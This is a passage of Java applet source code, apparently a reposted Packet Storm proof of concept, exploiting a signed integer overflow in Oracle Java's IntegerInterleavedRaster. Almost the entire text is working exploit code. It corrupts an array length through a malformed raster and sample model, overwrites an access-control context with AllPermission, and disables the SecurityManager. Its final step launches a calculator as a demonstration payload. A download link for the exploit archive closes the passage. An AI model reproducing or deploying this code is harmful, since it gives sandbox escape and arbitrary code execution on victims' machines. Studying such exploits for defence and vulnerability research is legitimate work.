java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the applet */ try { java.awt.EventQueue.invokeAndWait(new Runnable() { public void run() { initComponents(); // print environment info String vsn = System.getProperty("java.version"); logAdd( "JRE: " + System.getProperty("java.vendor") + " " + vsn + "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") + "\nJava Plug-in: " + System.getProperty("javaplugin.version") + "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")" ); // check JRE version int v = Integer.parseInt(vsn.substring(vsn.indexOf("_")+1)); _is7u17 = (vsn.startsWith("1.7.0_") && v >= 17) || (vsn.startsWith("1.6.0_") && v >= 43); } }); } catch (Exception ex) { ex.printStackTrace(); } } public void logAdd(String str) { txtArea.setText(txtArea.getText() + str + "\n"); } public void logAdd(Object o, String... str) { logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString())); } public String errToStr(Throwable t) { String str = "Error: " + t.toString(); StackTraceElement[] ste = t.getStackTrace(); for(int i=0; i < ste.length; i++) { str += "\n\t" + ste.toString(); } t = t.getCause(); if (t != null) str += "\nCaused by: " + errToStr(t); return str; } public void logError(Exception ex) { logAdd(errToStr(ex)); } public static String toHex(int i) { return Integer.toHexString(i); } /** * This method is called from within the init() method to initialize the * form. WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { btnStart = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); txtArea = new javax.swing.JTextArea(); btnStart.setText("Run calculator"); btnStart.addMouseListener(new java.awt.event.MouseAdapter() { public void mousePressed(java.awt.event.MouseEvent evt) { btnStartMousePressed(evt); } }); txtArea.setEditable(false); txtArea.setColumns(20); txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N txtArea.setRows(5); txtArea.setTabSize(4); jScrollPane2.setViewportView(txtArea); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addGap(242, 242, 242) .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(btnStart) .addContainerGap()) ); }// </editor-fold>//GEN-END:initComponents private boolean _isMac = System.getProperty("os.name","").contains("Mac"); private boolean _is64 = System.getProperty("os.arch","").contains("64"); private boolean _is7u17 = true; // we will need SinglePixelPackedSampleModel which returns 0 from getNumDataElements() class MySampleModel extends SinglePixelPackedSampleModel { public MySampleModel(int dataType, int w, int h, int scanlineStride, int[] bitMasks) { super(dataType, w, h, scanlineStride, bitMasks); } // override getNumComponents public int getNumDataElements() { int res = 0; logAdd("MySampleModel.getNumDataElements() = " + res); return res; } } private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate malformed buffer for destination Raster, // "offset" parameter points outside the real storage DataBufferInt dst = new DataBufferInt(new int[4], 4, 14 + (_is64 ? 4:0)); // allocate the target array right after dst int[] a = new int[16]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; logAdd("a.length = 0x" + toHex(oldLen)); // prepare source buffer DataBufferInt src = new DataBufferInt(2); src.setElem(1,-1); // src[1] will overwrite a.length by 0xFFFFFFFF // create normal source raster DirectColorModel cm = (DirectColorModel)ColorModel.getRGBdefault(); SinglePixelPackedSampleModel sm1 = new SinglePixelPackedSampleModel(DataBuffer.TYPE_INT, 1,2,1, cm.getMasks()); WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null); // create custom SinglePixelPackedSampleModel with malicious getNumDataElements() (for 7u17) // or with negative scanlineStride for jre < 7u17 MySampleModel sm2 = new MySampleModel(DataBuffer.TYPE_INT, 1,2, _is7u17 ? 1 : 0x80000001, cm.getMasks()); // create destination IntegerInterleavedRaster basing on malformed dst[] and sm2 WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null); logAdd(wr2); // create sun.java2d.SunCompositeContext CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null); logAdd(cc); // call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c) // and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c) cc.compose(wr1, wr2, wr2); // check results: a.length should be overwritten by 0xFFFFFFFF int len = a.length; logAdd("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a)); // exit logAdd("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ","; logAdd(s); } else try { // show current SecurityManager logAdd(System.getSecurityManager(), "Security Manager = "); // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null logAdd(System.getSecurityManager(), "Security Manager = "); } catch (Exception ex) { logError(ex); } logAdd(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { logError(ex); } return 0; } private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed try { logAdd("===== Start ====="); // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ logAdd("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); } logAdd("===== End ====="); } catch (Exception ex) { logError(ex); } }//GEN-LAST:event_btnStartMousePressed // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnStart; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JTextArea txtArea; // End of variables declaration//GEN-END:variables } Download: http://packetstorm.igor.onlinedirect.bg/1308-exploits/PSA-2013-0813-1-exploit.tgz Sursa: Packet Storm Exploit 2013-0813-1 - Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow ? Packet Storm
×
×
  • Create New...